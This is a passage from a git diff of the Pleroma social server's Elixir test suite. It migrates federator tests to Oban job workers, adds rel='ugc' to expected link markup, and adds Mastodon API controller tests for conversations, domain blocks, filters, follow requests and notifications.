- }\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> and <span class=\"h-card\"><a data-user=\"#{
+ }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> and <span class="h-card"><a data-user="#{
user.id
- }\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> <a href=\"http://google.com\">google.com</a> paragraph</em></p>\n"
+ }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> <a href="http://google.com" rel="ugc">google.com</a> paragraph</em></p>\n)
{output, _, _} = Utils.format_input(text, "text/markdown")
diff --git a/test/web/federator_test.exs b/test/web/federator_test.exs
index 09e54533f..43a715706 100644
--- a/test/web/federator_test.exs
+++ b/test/web/federator_test.exs
@@ -1,12 +1,17 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.FederatorTest do
alias Pleroma.Instances
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.Federator
+ alias Pleroma.Workers.PublisherWorker
+
use Pleroma.DataCase
+ use Oban.Testing, repo: Pleroma.Repo
+
import Pleroma.Factory
import Mock
@@ -24,15 +29,6 @@ defmodule Pleroma.Web.FederatorTest do
clear_config([:instance, :rewrite_policy])
clear_config([:mrf_keyword])
- describe "Publisher.perform" do
- test "call `perform` with unknown task" do
- assert {
- :error,
- "Don't know what to do with this"
- } = Pleroma.Web.Federator.Publisher.perform("test", :ok, :ok)
- end
- end
-
describe "Publish an activity" do
setup do
user = insert(:user)
@@ -53,6 +49,7 @@ defmodule Pleroma.Web.FederatorTest do
} do
with_mocks([relay_mock]) do
Federator.publish(activity)
+ ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
end
assert_received :relay_publish
@@ -66,6 +63,7 @@ defmodule Pleroma.Web.FederatorTest do
with_mocks([relay_mock]) do
Federator.publish(activity)
+ ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
end
refute_received :relay_publish
@@ -73,10 +71,7 @@ defmodule Pleroma.Web.FederatorTest do
end
describe "Targets reachability filtering in `publish`" do
- test_with_mock "it federates only to reachable instances via AP",
- Pleroma.Web.ActivityPub.Publisher,
- [:passthrough],
- [] do
+ test "it federates only to reachable instances via AP" do
user = insert(:user)
{inbox1, inbox2} =
@@ -104,20 +99,20 @@ defmodule Pleroma.Web.FederatorTest do
{:ok, _activity} =
CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"})
- assert called(
- Pleroma.Web.ActivityPub.Publisher.publish_one(%{
- inbox: inbox1,
- unreachable_since: dt
- })
- )
+ expected_dt = NaiveDateTime.to_iso8601(dt)
- refute called(Pleroma.Web.ActivityPub.Publisher.publish_one(%{inbox: inbox2}))
+ ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
+
+ assert ObanHelpers.member?(
+ %{
+ "op" => "publish_one",
+ "params" => %{"inbox" => inbox1, "unreachable_since" => expected_dt}
+ },
+ all_enqueued(worker: PublisherWorker)
+ )
end
- test_with_mock "it federates only to reachable instances via Websub",
- Pleroma.Web.Websub,
- [:passthrough],
- [] do
+ test "it federates only to reachable instances via Websub" do
user = insert(:user)
websub_topic = Pleroma.Web.OStatus.feed_path(user)
@@ -142,23 +137,27 @@ defmodule Pleroma.Web.FederatorTest do
{:ok, _activity} = CommonAPI.post(user, %{"status" => "HI"})
- assert called(
- Pleroma.Web.Websub.publish_one(%{
- callback: sub2.callback,
- unreachable_since: dt
- })
- )
+ expected_callback = sub2.callback
+ expected_dt = NaiveDateTime.to_iso8601(dt)
+
+ ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
- refute called(Pleroma.Web.Websub.publish_one(%{callback: sub1.callback}))
+ assert ObanHelpers.member?(
+ %{
+ "op" => "publish_one",
+ "params" => %{
+ "callback" => expected_callback,
+ "unreachable_since" => expected_dt
+ }
+ },
+ all_enqueued(worker: PublisherWorker)
+ )
end
- test_with_mock "it federates only to reachable instances via Salmon",
- Pleroma.Web.Salmon,
- [:passthrough],
- [] do
+ test "it federates only to reachable instances via Salmon" do
user = insert(:user)
- remote_user1 =
+ _remote_user1 =
insert(:user, %{
local: false,
nickname: "nick1@domain.com",
@@ -174,6 +173,8 @@ defmodule Pleroma.Web.FederatorTest do
info: %{salmon: "https://domain2.com/salmon"}
})
+ remote_user2_id = remote_user2.id
+
dt = NaiveDateTime.utc_now()
Instances.set_unreachable(remote_user2.ap_id, dt)
@@ -182,14 +183,20 @@ defmodule Pleroma.Web.FederatorTest do
{:ok, _activity} =
CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"})
- assert called(
- Pleroma.Web.Salmon.publish_one(%{
- recipient: remote_user2,
- unreachable_since: dt
- })
- )
+ expected_dt = NaiveDateTime.to_iso8601(dt)
+
+ ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
- refute called(Pleroma.Web.Salmon.publish_one(%{recipient: remote_user1}))
+ assert ObanHelpers.member?(
+ %{
+ "op" => "publish_one",
+ "params" => %{
+ "recipient_id" => remote_user2_id,
+ "unreachable_since" => expected_dt
+ }
+ },
+ all_enqueued(worker: PublisherWorker)
+ )
end
end
@@ -209,7 +216,8 @@ defmodule Pleroma.Web.FederatorTest do
"to" => ["https://www.w3.org/ns/activitystreams#Public"]
}
- {:ok, _activity} = Federator.incoming_ap_doc(params)
+ assert {:ok, job} = Federator.incoming_ap_doc(params)
+ assert {:ok, _activity} = ObanHelpers.perform(job)
end
test "rejects incoming AP docs with incorrect origin" do
@@ -227,7 +235,8 @@ defmodule Pleroma.Web.FederatorTest do
"to" => ["https://www.w3.org/ns/activitystreams#Public"]
}
- :error = Federator.incoming_ap_doc(params)
+ assert {:ok, job} = Federator.incoming_ap_doc(params)
+ assert :error = ObanHelpers.perform(job)
end
test "it does not crash if MRF rejects the post" do
@@ -242,7 +251,8 @@ defmodule Pleroma.Web.FederatorTest do
File.read!("test/fixtures/mastodon-post-activity.json")
|> Poison.decode!()
- assert Federator.incoming_ap_doc(params) == :error
+ assert {:ok, job} = Federator.incoming_ap_doc(params)
+ assert :error = ObanHelpers.perform(job)
end
end
end
diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs
index 3fd011fd3..e54d708ad 100644
--- a/test/web/instances/instance_test.exs
+++ b/test/web/instances/instance_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Instances.InstanceTest do
@@ -16,7 +16,8 @@ defmodule Pleroma.Instances.InstanceTest do
describe "set_reachable/1" do
test "clears `unreachable_since` of existing matching Instance record having non-nil `unreachable_since`" do
- instance = insert(:instance, unreachable_since: NaiveDateTime.utc_now())
+ unreachable_since = NaiveDateTime.to_iso8601(NaiveDateTime.utc_now())
+ instance = insert(:instance, unreachable_since: unreachable_since)
assert {:ok, instance} = Instance.set_reachable(instance.host)
refute instance.unreachable_since
diff --git a/test/web/instances/instances_test.exs b/test/web/instances/instances_test.exs
index dea8e2aea..65b03b155 100644
--- a/test/web/instances/instances_test.exs
+++ b/test/web/instances/instances_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.InstancesTest do
diff --git a/test/web/mastodon_api/controllers/conversation_controller_test.exs b/test/web/mastodon_api/controllers/conversation_controller_test.exs
new file mode 100644
index 000000000..7117fc76a
--- /dev/null
+++ b/test/web/mastodon_api/controllers/conversation_controller_test.exs
@@ -0,0 +1,75 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ test "Conversations", %{conn: conn} do
+ user_one = insert(:user)
+ user_two = insert(:user)
+ user_three = insert(:user)
+
+ {:ok, user_two} = User.follow(user_two, user_one)
+
+ {:ok, direct} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!",
+ "visibility" => "direct"
+ })
+
+ {:ok, _follower_only} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "private"
+ })
+
+ res_conn =
+ conn
+ |> assign(:user, user_one)
+ |> get("/api/v1/conversations")
+
+ assert response = json_response(res_conn, 200)
+
+ assert [
+ %{
+ "id" => res_id,
+ "accounts" => res_accounts,
+ "last_status" => res_last_status,
+ "unread" => unread
+ }
+ ] = response
+
+ account_ids = Enum.map(res_accounts, & &1["id"])
+ assert length(res_accounts) == 2
+ assert user_two.id in account_ids
+ assert user_three.id in account_ids
+ assert is_binary(res_id)
+ assert unread == true
+ assert res_last_status["id"] == direct.id
+
+ # Apparently undocumented API endpoint
+ res_conn =
+ conn
+ |> assign(:user, user_one)
+ |> post("/api/v1/conversations/#{res_id}/read")
+
+ assert response = json_response(res_conn, 200)
+ assert length(response["accounts"]) == 2
+ assert response["last_status"]["id"] == direct.id
+ assert response["unread"] == false
+
+ # (vanilla) Mastodon frontend behaviour
+ res_conn =
+ conn
+ |> assign(:user, user_one)
+ |> get("/api/v1/statuses/#{res_last_status["id"]}/context")
+
+ assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200)
+ end
+end
diff --git a/test/web/mastodon_api/controllers/domain_block_controller_test.exs b/test/web/mastodon_api/controllers/domain_block_controller_test.exs
new file mode 100644
index 000000000..3c3558385
--- /dev/null
+++ b/test/web/mastodon_api/controllers/domain_block_controller_test.exs
@@ -0,0 +1,51 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do
+ use Pleroma.Web.ConnCase, async: true
+
+ alias Pleroma.User
+
+ import Pleroma.Factory
+
+ test "blocking / unblocking a domain", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
+
+ assert %{} = json_response(conn, 200)
+ user = User.get_cached_by_ap_id(user.ap_id)
+ assert User.blocks?(user, other_user)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
+
+ assert %{} = json_response(conn, 200)
+ user = User.get_cached_by_ap_id(user.ap_id)
+ refute User.blocks?(user, other_user)
+ end
+
+ test "getting a list of domain blocks", %{conn: conn} do
+ user = insert(:user)
+
+ {:ok, user} = User.block_domain(user, "bad.site")
+ {:ok, user} = User.block_domain(user, "even.worse.site")
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/domain_blocks")
+
+ domain_blocks = json_response(conn, 200)
+
+ assert "bad.site" in domain_blocks
+ assert "even.worse.site" in domain_blocks
+ end
+end
diff --git a/test/web/mastodon_api/controllers/filter_controller_test.exs b/test/web/mastodon_api/controllers/filter_controller_test.exs
new file mode 100644
index 000000000..5d5b56c8e
--- /dev/null
+++ b/test/web/mastodon_api/controllers/filter_controller_test.exs
@@ -0,0 +1,137 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do
+ use Pleroma.Web.ConnCase, async: true
+
+ alias Pleroma.Web.MastodonAPI.FilterView
+
+ import Pleroma.Factory
+
+ test "creating a filter", %{conn: conn} do
+ user = insert(:user)
+
+ filter = %Pleroma.Filter{
+ phrase: "knights",
+ context: ["home"]
+ }
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context})
+
+ assert response = json_response(conn, 200)
+ assert response["phrase"] == filter.phrase
+ assert response["context"] == filter.context
+ assert response["irreversible"] == false
+ assert response["id"] != nil
+ assert response["id"] != ""
+ end
+
+ test "fetching a list of filters", %{conn: conn} do
+ user = insert(:user)
+
+ query_one = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 1,
+ phrase: "knights",
+ context: ["home"]
+ }
+
+ query_two = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 2,
+ phrase: "who",
+ context: ["home"]
+ }
+
+ {:ok, filter_one} = Pleroma.Filter.create(query_one)
+ {:ok, filter_two} = Pleroma.Filter.create(query_two)
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/filters")
+ |> json_response(200)
+
+ assert response ==
+ render_json(
+ FilterView,
+ "filters.json",
+ filters: [filter_two, filter_one]
+ )
+ end
+
+ test "get a filter", %{conn: conn} do
+ user = insert(:user)
+
+ query = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 2,
+ phrase: "knight",
+ context: ["home"]
+ }
+
+ {:ok, filter} = Pleroma.Filter.create(query)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/filters/#{filter.filter_id}")
+
+ assert _response = json_response(conn, 200)
+ end
+
+ test "update a filter", %{conn: conn} do
+ user = insert(:user)
+
+ query = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 2,
+ phrase: "knight",
+ context: ["home"]
+ }
+
+ {:ok, _filter} = Pleroma.Filter.create(query)
+
+ new = %Pleroma.Filter{
+ phrase: "nii",
+ context: ["home"]
+ }
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> put("/api/v1/filters/#{query.filter_id}", %{
+ phrase: new.phrase,
+ context: new.context
+ })
+
+ assert response = json_response(conn, 200)
+ assert response["phrase"] == new.phrase
+ assert response["context"] == new.context
+ end
+
+ test "delete a filter", %{conn: conn} do
+ user = insert(:user)
+
+ query = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 2,
+ phrase: "knight",
+ context: ["home"]
+ }
+
+ {:ok, filter} = Pleroma.Filter.create(query)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> delete("/api/v1/filters/#{filter.filter_id}")
+
+ assert response = json_response(conn, 200)
+ assert response == %{}
+ end
+end
diff --git a/test/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/web/mastodon_api/controllers/follow_request_controller_test.exs
new file mode 100644
index 000000000..4bf292df5
--- /dev/null
+++ b/test/web/mastodon_api/controllers/follow_request_controller_test.exs
@@ -0,0 +1,81 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.User
+ alias Pleroma.Web.ActivityPub.ActivityPub
+
+ import Pleroma.Factory
+
+ describe "locked accounts" do
+ test "/api/v1/follow_requests works" do
+ user = insert(:user, %{info: %User.Info{locked: true}})
+ other_user = insert(:user)
+
+ {:ok, _activity} = ActivityPub.follow(other_user, user)
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+
+ assert User.following?(other_user, user) == false
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> get("/api/v1/follow_requests")
+
+ assert [relationship] = json_response(conn, 200)
+ assert to_string(other_user.id) == relationship["id"]
+ end
+
+ test "/api/v1/follow_requests/:id/authorize works" do
+ user = insert(:user, %{info: %User.Info{locked: true}})
+ other_user = insert(:user)
+
+ {:ok, _activity} = ActivityPub.follow(other_user, user)
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+
+ assert User.following?(other_user, user) == false
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> post("/api/v1/follow_requests/#{other_user.id}/authorize")
+
+ assert relationship = json_response(conn, 200)
+ assert to_string(other_user.id) == relationship["id"]
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+
+ assert User.following?(other_user, user) == true
+ end
+
+ test "/api/v1/follow_requests/:id/reject works" do
+ user = insert(:user, %{info: %User.Info{locked: true}})
+ other_user = insert(:user)
+
+ {:ok, _activity} = ActivityPub.follow(other_user, user)
+
+ user = User.get_cached_by_id(user.id)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> post("/api/v1/follow_requests/#{other_user.id}/reject")
+
+ assert relationship = json_response(conn, 200)
+ assert to_string(other_user.id) == relationship["id"]
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+
+ assert User.following?(other_user, user) == false
+ end
+ end
+end
diff --git a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
index 87ee82050..560f55137 100644
--- a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
+++ b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
@@ -86,10 +86,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
assert user = json_response(conn, 200)
assert user["note"] ==
- ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag">#cofe</a> with <span class="h-card"><a data-user=") <>
- user2.id <>
- ~s(" class="u-url mention" href=") <>
- user2.ap_id <> ~s(">@<span>) <> user2.nickname <> ~s(</span></a></span>)
+ ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe">#cofe</a> with <span class="h-card"><a data-user="#{
+ user2.id
+ }" class="u-url mention" href="#{user2.ap_id}" rel="ugc">@<span>#{user2.nickname}</span></a></span>)
end
test "updates the user's locking status", %{conn: conn} do
@@ -128,6 +127,22 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
assert user["pleroma"]["hide_followers"] == true
end
+ test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> patch("/api/v1/accounts/update_credentials", %{
+ hide_followers_count: "true",
+ hide_follows_count: "true"
+ })
+
+ assert user = json_response(conn, 200)
+ assert user["pleroma"]["hide_followers_count"] == true
+ assert user["pleroma"]["hide_follows_count"] == true
+ end
+
test "updates the user's skip_thread_containment option", %{conn: conn} do
user = insert(:user)
@@ -318,7 +333,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
assert account["fields"] == [
%{"name" => "foo", "value" => "bar"},
- %{"name" => "link", "value" => "<a href=\"http://cofe.io\">cofe.io</a>"}
+ %{"name" => "link", "value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>)}
]
assert account["source"]["fields"] == [
diff --git a/test/web/mastodon_api/controllers/notification_controller_test.exs b/test/web/mastodon_api/controllers/notification_controller_test.exs
new file mode 100644
index 000000000..e4137e92c
--- /dev/null
+++ b/test/web/mastodon_api/controllers/notification_controller_test.exs
@@ -0,0 +1,299 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Notification
+ alias Pleroma.Repo
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ test "list of notifications", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
+ {:ok, [_notification]} = Notification.create_notifications(activity)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/notifications")
+
+ expected_response =
+ "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
+ user.ap_id
+ }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
+
+ assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
+ assert response == expected_response
+ end
+
+ test "getting a single notification", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
+ {:ok, [notification]} = Notification.create_notifications(activity)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/notifications/#{notification.id}")
+
+ expected_response =
+ "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
+ user.ap_id
+ }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
+
+ assert %{"status" => %{"content" => response}} = json_response(conn, 200)
+ assert response == expected_response
+ end
+
+ test "dismissing a single notification", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
+ {:ok, [notification]} = Notification.create_notifications(activity)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
+
+ assert %{} = json_response(conn, 200)
+ end
+
+ test "clearing all notifications", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
+ {:ok, [_notification]} = Notification.create_notifications(activity)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/notifications/clear")
+
+ assert %{} = json_response(conn, 200)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> get("/api/v1/notifications")
+
+ assert all = json_response(conn, 200)
+ assert all == []
+ end
+
+ test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
+ notification1_id = get_notification_id_by_activity(activity1)
+ notification2_id = get_notification_id_by_activity(activity2)
+ notification3_id = get_notification_id_by_activity(activity3)
+ notification4_id = get_notification_id_by_activity(activity4)
+
+ conn = assign(conn, :user, user)
+
+ # min_id
+ result =
+ conn
+ |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
+
+ # since_id
+ result =
+ conn
+ |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
+
+ # max_id
+ result =
+ conn
+ |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
+ end
+
+ test "filters notifications using exclude_types", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
+ {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
+ {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
+ {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
+ {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)
+
+ mention_notification_id = get_notification_id_by_activity(mention_activity)
+ favorite_notification_id = get_notification_id_by_activity(favorite_activity)
+ reblog_notification_id = get_notification_id_by_activity(reblog_activity)
+ follow_notification_id = get_notification_id_by_activity(follow_activity)
+
+ conn = assign(conn, :user, user)
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})
+
+ assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})
+
+ assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})
+
+ assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})
+
+ assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
+ end
+
+ test "destroy multiple", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
+ {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
+
+ notification1_id = get_notification_id_by_activity(activity1)
+ notification2_id = get_notification_id_by_activity(activity2)
+ notification3_id = get_notification_id_by_activity(activity3)
+ notification4_id = get_notification_id_by_activity(activity4)
+
+ conn = assign(conn, :user, user)
+
+ result =
+ conn
+ |> get("/api/v1/notifications")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result
+
+ conn2 =
+ conn
+ |> assign(:user, other_user)
+
+ result =
+ conn2
+ |> get("/api/v1/notifications")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
+
+ conn_destroy =
+ conn
+ |> delete("/api/v1/notifications/destroy_multiple", %{
+ "ids" => [notification1_id, notification2_id]
+ })
+
+ assert json_response(conn_destroy, 200) == %{}
+
+ result =
+ conn2
+ |> get("/api/v1/notifications")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
+ end
+
+ test "doesn't see notifications after muting user with notifications", %{conn: conn} do
+ user = insert(:user)
+ user2 = insert(:user)
+
+ {:ok, _, _, _} = CommonAPI.follow(user, user2)
+ {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
+
+ conn = assign(conn, :user, user)
+
+ conn = get(conn, "/api/v1/notifications")
+
+ assert length(json_response(conn, 200)) == 1
+
+ {:ok, user} = User.mute(user, user2)
+
+ conn = assign(build_conn(), :user, user)
+ conn = get(conn, "/api/v1/notifications")
+
+ assert json_response(conn, 200) == []
+ end
+
+ test "see notifications after muting user without notifications", %{conn: conn} do
+ user = insert(:user)
+ user2 = insert(:user)
+
+ {:ok, _, _, _} = CommonAPI.follow(user, user2)
+ {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
+
+ conn = assign(conn, :user, user)
+
+ conn = get(conn, "/api/v1/notifications")
+
+ assert length(json_response(conn, 200)) == 1
+
+ {:ok, user} = User.mute(user, user2, false)
+
+ conn = assign(build_conn(), :user, user)
+ conn = get(conn, "/api/v1/notifications")
+
+ assert length(json_response(conn, 200)) == 1
+ end
+
+ test "see notifications after muting user with notifications and with_muted parameter", %{
+ conn: conn
+ } do
+ user = insert(:user)
+ user2 = insert(:user)
+
+ {:ok, _, _, _} = CommonAPI.follow(user, user2)
+ {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
+
+ conn = assign(conn, :user, user)
+
+ conn = get(conn, "/api/v1/notifications")
+
+ assert length(json_response(conn, 200)) == 1
+
+ {:ok, user} = User.mute(user, user2)
+
+ conn = assign(build_conn(), :user, user)
+ conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"})
+
+ assert length(json_response(conn, 200)) == 1
+ end
+
+ defp get_notification_id_by_activity(%{id: id}) do
+ Notification
+ |> Repo.get_by(activity_id: id)
+ |> Map.get(:id)
+ |> to_string()
+ end
+end
diff --git a/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs
new file mode 100644
index 000000000..9ad6a4fa7
--- /dev/null
+++ b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs
@@ -0,0 +1,113 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.ScheduledActivityControllerTest do
+ use Pleroma.Web.ConnCase, async: true
+
+ alias Pleroma.Repo
+ alias Pleroma.ScheduledActivity
+
+ import Pleroma.Factory
+
+ test "shows scheduled activities", %{conn: conn} do
+ user = insert(:user)
+ scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string()
+ scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string()
+ scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string()
+ scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string()
+
+ conn =
+ conn
+ |> assign(:user, user)
